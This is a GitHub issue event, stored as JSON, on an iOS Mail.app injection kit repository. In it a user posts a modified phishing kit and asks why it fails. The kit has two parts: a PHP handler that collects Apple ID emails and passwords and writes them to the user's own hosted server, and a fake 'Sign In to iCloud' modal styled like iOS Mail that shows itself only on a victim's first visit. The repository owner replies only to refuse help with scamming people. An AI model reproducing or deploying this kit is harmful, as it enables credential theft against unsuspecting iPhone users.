{"action":"created","issue":{"url":"https://api.github.com/repos/jansoucek/iOS-Mail.app-inject-kit/issues/4","labels_url":"https://api.github.com/repos/jansoucek/iOS-Mail.app-inject-kit/issues/4/labels{/name}","comments_url":"https://api.github.com/repos/jansoucek/iOS-Mail.app-inject-kit/issues/4/comments","events_url":"https://api.github.com/repos/jansoucek/iOS-Mail.app-inject-kit/issues/4/events","html_url":"https://github.com/jansoucek/iOS-Mail.app-inject-kit/issues/4","id":88185269,"number":4,"title":"Has this been patched?","user":{"login":"Wongster11","id":12882529,"avatar_url":"https://avatars.githubusercontent.com/u/12882529?v=3","gravatar_id":"","url":"https://api.github.com/users/Wongster11","html_url":"https://github.com/Wongster11","followers_url":"https://api.github.com/users/Wongster11/followers","following_url":"https://api.github.com/users/Wongster11/following{/other_user}","gists_url":"https://api.github.com/users/Wongster11/gists{/gist_id}","starred_url":"https://api.github.com/users/Wongster11/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Wongster11/subscriptions","organizations_url":"https://api.github.com/users/Wongster11/orgs","repos_url":"https://api.github.com/users/Wongster11/repos","events_url":"https://api.github.com/users/Wongster11/events{/privacy}","received_events_url":"https://api.github.com/users/Wongster11/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"milestone":null,"comments":5,"created_at":"2015-06-14T13:33:19Z","updated_at":"2015-06-14T13:48:19Z","closed_at":"2015-06-14T13:48:19Z","body":"I have tried all the following steps provided but when ever my test user submits the password it redirects me to a webpage with \"There was an error\" so my question is have apple finally patched this issue or not?\r\n\r\nHere are the changes I have made to the files before uploading them to my server:\r\n\r\nFramework.php:\r\n<?php\r\nif(isset($_GET['modal-username']) && isset($_GET['modal-password'])) {\r\n\t$email = htmlspecialchars(stripslashes($_GET['modal-username']));\r\n\t$password = htmlspecialchars(stripslashes($_GET['modal-password']));\r\n    $data = $email . 'Myemail@gmail.com' . $password . \"\\n\";\r\n    $ret = file_put_contents('http://mywebsite.000webhost.net/mydata.txt', $data, FILE_APPEND | LOCK_EX);\r\n    if($ret === false) {\r\n        die('There was an error.');\r\n    }\r\n    else {\r\n\t    mail('product-security@apple.com','Apple ID Password',\"Thanks for your password! \\n $data ¯\\_(ツ)_/¯ \\n https://github.com/jansoucek/iOS-Mail.app-inject-kit\");\r\n\t    header(\"Location: http://is.gd/9VOMTp\"); //Redirects recipient from Safari back to Mail.app using message://dummy\r\n\t    die();\r\n    }\r\n}\r\nelse {\r\n   die('No GET data to process. Thanks for trying.');\r\n}\r\n?>\r\n\r\nIndex.php:\r\n<?php\r\nif(isset($_COOKIE[\"first_visit\"])) {\r\n    setcookie(\"second_visit\", \"true\", time() + (86400 * 999), \"/\");\r\n    }\r\n\r\nsetcookie(\"first_visit\", \"true\", time() + (86400 * 999), \"/\");\r\n?>\r\n\r\n<!DOCTYPE html>\r\n<html>\r\n<head>\r\n\t<meta charset=\"utf-8\">\r\n\t<meta content=\"initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no, width=device-width, height=device-height\" name=\"viewport\">\r\n\r\n\t<title>iCloud login</title>\r\n\t<style>\r\n\t  html, body {\r\n\t\tposition: relative;\r\n\t\theight: 100%;\r\n\t\twidth: 100%;\r\n\t\toverflow-x: hidden;\r\n\t  }\r\n\t  \r\n\t  body {\r\n\t\tfont-family: Helvetica Neue,Helvetica,Arial,sans-serif;\r\n\t\tmargin: 0;\r\n\t\tpadding: 0;\r\n\t\tcolor: #000;\r\n\t\tfont-size: 14px;\r\n\t\tline-height: 1.4;\r\n\t\twidth: 100%;\r\n\t\theight: 110%;\r\n\t\t-webkit-text-size-adjust: 100%;\r\n\t\tbackground: #fff;\r\n\t\toverflow: hidden;\r\n\t  }\r\n\t  \r\n\t  * {\r\n\t\t-webkit-tap-highlight-color: transparent;\r\n\t\t-webkit-touch-callout: none;\r\n\t  }\r\n\t  \r\n\t  input {\r\n\t\toutline: 0;\r\n\t  }\r\n\t  \r\n\t  /* start of Framework7 css\r\n\t   * Framework7 0.10.0\r\n\t   * Full Featured HTML Framework For Building iOS 7 Apps\r\n\t   *\r\n\t   * http://www.idangero.us/framework7\r\n\t   *\r\n\t   * Copyright 2014, Vladimir Kharlampidi\r\n\t   * The iDangero.us\r\n\t   * http://www.idangero.us/\r\n\t   *\r\n\t   * Licensed under MIT\r\n\t   *\r\n\t   * Released on: December 8, 2014\r\n\t  */\r\n\t  \r\n\t  .modal-overlay {\r\n\t\tposition: absolute;\r\n\t\tleft: 0;\r\n\t\ttop: 0;\r\n\t\twidth: 100%;\r\n\t\theight: 100%;\r\n\t\tbackground: rgba(0,0,0,.4);\r\n\t\tz-index: 10600;\r\n\t\tvisibility: hidden;\r\n\t\topacity: 0;\r\n\t\t-webkit-transition-duration: 400ms;\r\n\t\ttransition-duration: 400ms;\r\n\t  }\r\n\t  \r\n\t  .modal-overlay.modal-overlay-visible {\r\n\t\tvisibility: visible;\r\n\t\topacity: 1;\r\n\t  }\r\n\t  \r\n\t  .modal {\r\n\t\twidth: 270px;\r\n\t\tposition: absolute;\r\n\t\tz-index: 11000;\r\n\t\tleft: 50%;\r\n\t\tmargin-left: -135px;\r\n\t\tmargin-top: 0;\r\n\t\ttop: 50%;\r\n\t\ttext-align: center;\r\n\t\tborder-radius: 7px;\r\n\t\topacity: 0;\r\n\t\t-webkit-transform: translate3d(0,0,0) scale(1.185);\r\n\t\ttransform: translate3d(0,0,0) scale(1.185);\r\n\t\t-webkit-transition-property: -webkit-transform,opacity;\r\n\t\ttransition-property: transform,opacity;\r\n\t\tcolor: #000;\r\n\t  }\r\n\t  \r\n\t  .modal.modal-in {\r\n\t\topacity: 1;\r\n\t\t-webkit-transition-duration: 400ms;\r\n\t\ttransition-duration: 400ms;\r\n\t\t-webkit-transform: translate3d(0,0,0) scale(1);\r\n\t\ttransform: translate3d(0,0,0) scale(1);\r\n\t  }\r\n\t  \r\n\t  .modal-inner {\r\n\t\tpadding: 15px;\r\n\t\tborder-bottom: 1px solid #b5b5b5;\r\n\t\tborder-radius: 7px 7px 0 0;\r\n\t\tbackground: #e8e8e8;\r\n\t  }\r\n\t  \r\n\t  .modal-title {\r\n\t\tfont-weight: 500;\r\n\t\tfont-size: 18px;\r\n\t\ttext-align: center;\r\n\t  }\r\n\t  \r\n\t  .modal-title + .modal-text {\r\n\t\tmargin-top: 5px;\r\n\t  }\r\n\t  \r\n\t  .modal-buttons {\r\n\t\theight: 44px;\r\n\t\toverflow: hidden;\r\n\t\tdisplay: -webkit-box;\r\n\t\tdisplay: -webkit-flex;\r\n\t\tdisplay: flex;\r\n\t\t-webkit-box-pack: center;\r\n\t\t-webkit-justify-content: center;\r\n\t\tjustify-content: center;\r\n\t  }\r\n\t  \r\n\t  .modal-button {\r\n\t\twidth: 100%;\r\n\t\tpadding: 0 5px;\r\n\t\theight: 44px;\r\n\t\tfont-size: 17px;\r\n\t\tline-height: 44px;\r\n\t\ttext-align: center;\r\n\t\tcolor: #007aff;\r\n\t\tbackground: #e8e8e8;\r\n\t\tdisplay: block;\r\n\t\tposition: relative;\r\n\t\twhite-space: nowrap;\r\n\t\ttext-overflow: ellipsis;\r\n\t\toverflow: hidden;\r\n\t\tcursor: pointer;\r\n\t\t-webkit-box-sizing: border-box;\r\n\t\tbox-sizing: border-box;\r\n\t\tborder-right: 1px solid #b5b5b5;\r\n\t\t-webkit-box-flex: 1;\r\n\t\tborder-radius: 0 0 7px 0;\r\n\t  }\r\n\t  \r\n\t  .modal-button.modal-button-bold {\r\n\t\tfont-weight: 500;\r\n\t  }\r\n\t  \r\n\t  .modal-button:first-child {\r\n\t\tborder-radius:0 0 0 7px;\r\n\t  }\r\n\t  \r\n\t  .modal-button:last-child {\r\n\t\tborder-radius: 0 0 7px 0;\r\n\t\tborder-bottom: none;\r\n\t  }\r\n\t  \r\n\t  input.modal-text-input {\r\n\t\t-webkit-box-sizing: border-box;\r\n\t\tbox-sizing: border-box;\r\n\t\theight: 30px;\r\n\t\tbackground: #fff;\r\n\t\tmargin: 0;\r\n\t\tmargin-top: 15px;\r\n\t\tpadding: 0 5px;\r\n\t\tborder: 1px solid #a0a0a0;\r\n\t\tborder-radius: 5px;\r\n\t\twidth: 100%;\r\n\t\tfont-size: 14px;\r\n\t\tfont-family: inherit;\r\n\t\tdisplay: block;\r\n\t\t-webkit-box-shadow: 0 0 0 transparent;\r\n\t\tbox-shadow: 0 0 0 transparent;\r\n\t\t-webkit-appearance: none;\r\n\t\tappearance: none;\r\n\t  }\r\n\t  \r\n\t  input.modal-text-input.modal-text-input-double {\r\n\t\tborder-radius: 5px 5px 0 0;\r\n\t  }\r\n\t  \r\n\t  input.modal-text-input.modal-text-input-double+input.modal-text-input {\r\n\t\tmargin-top: 0;\r\n\t\tborder-top: 0;\r\n\t\tborder-radius: 0 0 5px 5px;\r\n\t  }\r\n\t  /*end of Framework7 css*/ \r\n\t     \r\n\t  input[type=submit] {\r\n\t\tvisibility: hidden;\r\n\t\tposition: absolute;\r\n\t\ttop: -999px;\r\n\t  }\r\n\t  \r\n\t  input[type=text],input[type=password] {\r\n\t\tfont-size: 16px;\r\n\t  }\r\n\t  \r\n\t  #password-input + div {\r\n\t\tdisplay: block;\r\n\t\tposition: absolute;\r\n\t\ttop: -10px;\r\n\t\tleft: -53px;\r\n\t\twidth: 3000px;\r\n\t\theight: 3000px;\r\n\t\tbackground-color: white;\r\n\t\tz-index: 1;\r\n\t\tfont-size: 14px;\r\n\t\tpointer-events: none;\r\n\t\ttext-align: left;\r\n\t  }\r\n\r\n\t  @media only screen \r\n\t  and (min-device-width : 768px) \r\n\t  and (max-device-width : 1024px) \r\n\t  and (orientation : landscape) {\r\n\t\t  .modal.modal-in {\r\n\t\t\t  opacity: 1;\r\n\t\t\t  -webkit-transition-duration: 400ms;\r\n\t\t\t  transition-duration: 400ms;\r\n\t\t\t  -webkit-transform: translate3d(0,0,0) scale(0.9);\r\n\t\t\t  transform: translate3d(0,0,0) scale(0.9);\r\n\t\t\t  left: 200px;\r\n\t\t  }\r\n\t\t  #password-input + div {\r\n\t\t\t  top: -23px;\r\n\t\t\t  left: -87px;\r\n\t\t  }\r\n\t  }\r\n\t  \r\n\t  @media only screen \r\n\t  and (min-device-width : 768px) \r\n\t  and (max-device-width : 1024px) \r\n\t  and (orientation : portrait) {\r\n\t\t  .modal.modal-in {\r\n\t\t\t  opacity: 1;\r\n\t\t\t  -webkit-transition-duration: 400ms;\r\n\t\t\t  transition-duration: 400ms;\r\n\t\t\t  -webkit-transform: translate3d(0,0,0) scale(0.8);\r\n\t\t\t  transform: translate3d(0,0,0) scale(0.8);\r\n\t\t  }\r\n\t\t  #password-input + div {\r\n\t\t\t  top: -39px;\r\n\t\t\t  left: -305px;\r\n\t\t  }\r\n\t  }\r\n\t  \r\n\t  #password-input:focus + div {\r\n\t\tdisplay: none;\r\n\t  }\r\n\t</style>\r\n</head>\r\n\r\n<body>\r\n\r\n<?php\r\nif(isset($_COOKIE[\"second_visit\"])) {\r\n    echo \"<p>Lorem ipsum CONSECUTIVE VISIT WEB CONTENT</p></body></html>\";\r\n    die();\r\n}\r\n?>\r\n\r\n\t<p>Lorem ipsum PRE-SUBMIT WEB CONTENT</p>\r\n\r\n\t<div class=\"modal-overlay modal-overlay-visible\"></div>\r\n\r\n\t<div class=\"modal modal-in\" style=\"top: 10px;\">\r\n\t\t<div class=\"modal-inner\">\r\n\t\t\t<div class=\"modal-title\">\r\n\t\t\t\tSign In to iCloud\r\n\t\t\t</div>\r\n\r\n\t\t\t<div class=\"modal-text\">\r\n\t\t\t\tEnter your Apple ID e-mail address and password\r\n\t\t\t</div>\r\n\r\n\t\t\t<form action=\"http://mywebsite.000webhost.net/framework.php\" id=\"myform\" method=\"get\" name=\"myform\">\r\n\t\t\t\t<input class=\"modal-text-input modal-text-input-double\" name=\"modal-username\" type=\"text\" value=\"<?php\r\n\t\t\t\t\tif (isset($_GET['modal-username'])) {\r\n\t\t\t\t\techo htmlspecialchars(stripslashes($_GET['modal-username']));\r\n\t\t\t\t\t} else echo \"research@subject.tld\";\r\n\t\t\t\t\t?>\"><input autofocus=\"\" class=\"modal-text-input modal-text-input-double\" id=\"password-input\" name=\"modal-password\" placeholder=\"Password\" type=\"password\">\r\n\r\n\t\t\t\t<div>\r\n\t\t\t\t\t<p>Lorem ipsum POST-SUBMIT WEB CONTENT</p>\r\n\t\t\t\t</div>\r\n\t\t\t\t</input>\r\n\t\t</div>\r\n\r\n\t\t<div class=\"modal-buttons\">\r\n\t\t\t<span class=\"modal-button\">Cancel</span> <span class=\"modal-button modal-button-bold\"><label for=\"submit\" style=\"display: block; width: 100%; height: 100%;\">OK<input id=\"submit\" type=\"submit\" value=\"OK\"></label></span>\r\n\t\t\t</form>\r\n\t\t</div>\r\n\t</div>\r\n\r\n</body>\r\n</html>\r\n\r\nmydata.txt:\r\nThis file is uploaded to a server on 000webhost.net.\r\n\r\nThanks."},"comment":{"url":"https://api.github.com/repos/jansoucek/iOS-Mail.app-inject-kit/issues/comments/111827898","html_url":"https://github.com/jansoucek/iOS-Mail.app-inject-kit/issues/4#issuecomment-111827898","issue_url":"https://api.github.com/repos/jansoucek/iOS-Mail.app-inject-kit/issues/4","id":111827898,"user":{"login":"jansoucek","id":2159464,"avatar_url":"https://avatars.githubusercontent.com/u/2159464?v=3","gravatar_id":"","url":"https://api.github.com/users/jansoucek","html_url":"https://github.com/jansoucek","followers_url":"https://api.github.com/users/jansoucek/followers","following_url":"https://api.github.com/users/jansoucek/following{/other_user}","gists_url":"https://api.github.com/users/jansoucek/gists{/gist_id}","starred_url":"https://api.github.com/users/jansoucek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jansoucek/subscriptions","organizations_url":"https://api.github.com/users/jansoucek/orgs","repos_url":"https://api.github.com/users/jansoucek/repos","events_url":"https://api.github.com/users/jansoucek/events{/privacy}","received_events_url":"https://api.github.com/users/jansoucek/received_events","type":"User","site_admin":false},"created_at":"2015-06-14T13:48:19Z","updated_at":"2015-06-14T13:48:19Z","body":"This is a very basic php code and I am not here to help you scam people."}}